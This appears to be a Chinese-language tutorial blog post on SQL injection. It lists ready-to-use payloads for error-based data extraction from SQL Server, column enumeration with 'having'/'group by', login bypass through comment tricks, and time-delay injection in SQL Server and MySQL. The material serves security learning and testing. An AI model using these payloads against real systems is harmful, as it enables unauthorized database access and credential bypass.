SQL注入(2)

Microsoft SQL Server错误

可以使用一些技术来检索嵌入在数据库返回错误的信息。第一种是通过将字符串转换为整数来产生:

?category=bikes' and 1=0/@@version;--
数据库报告一个错误,将@@version结果转换成一个整数并显示其内容

可以用该技术显示数据库的任何变量:

?category=bikes' and 1=0/user;-- 

还有一些技术可用于显示数据库执行的语句的信息,比如使用 having 1=1:

?category=bikes' having '1'='1

应用响应如下:

Server Error in '/' Application
Column 'products.productid' is invalid in ...

将 having 与 group by 结合使用枚举select语句中的所有列:

?category=bikes' group by productid having '1'='1

应用响应如下:

Server Error in '/' Application
Column 'products.name' is invalid in ...

继续增加即可枚举所有列:

?category=bikes' group by productid,name having 1=1

应用响应如下:

Server Error in '/' Application
Column 'products.price' is invalid in ...

枚举完所有列后,还可以用前面的类型转换错误技术检索对应的值:

?category=bikes' and 1=0/name;-- 

终止式SQL注入

由于应用可能清除空格,不会得到我们想要的结果,可以添加不带内容的多行注释避免:

?uid=45/**/or/**/1=1

查询格式:

select * from administrators where username='[user entry]' and password='[user entry]'

在username注入 'or 1=1;-- :

select * from administrators where username='' or 1=1;-- ' and password='';

有时无法使用双连字符 -- ,可能对它进行过滤。

于是可以在username注入 admin'/* 

在password中注入*/'

select * from administrators where username='admin'/*' and password='*/'';

时间延迟

Microsoft SQL Server服务器包含一条向查询引入延迟的内置命令:waitfor delay 'houes:minutes:seconds'

?uid=45;waitfor delay '0:0:5';-- 

mysql中,可以使用benchmark

?id=32;select benchamark(10000000,encode('hello','mom'));-- 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值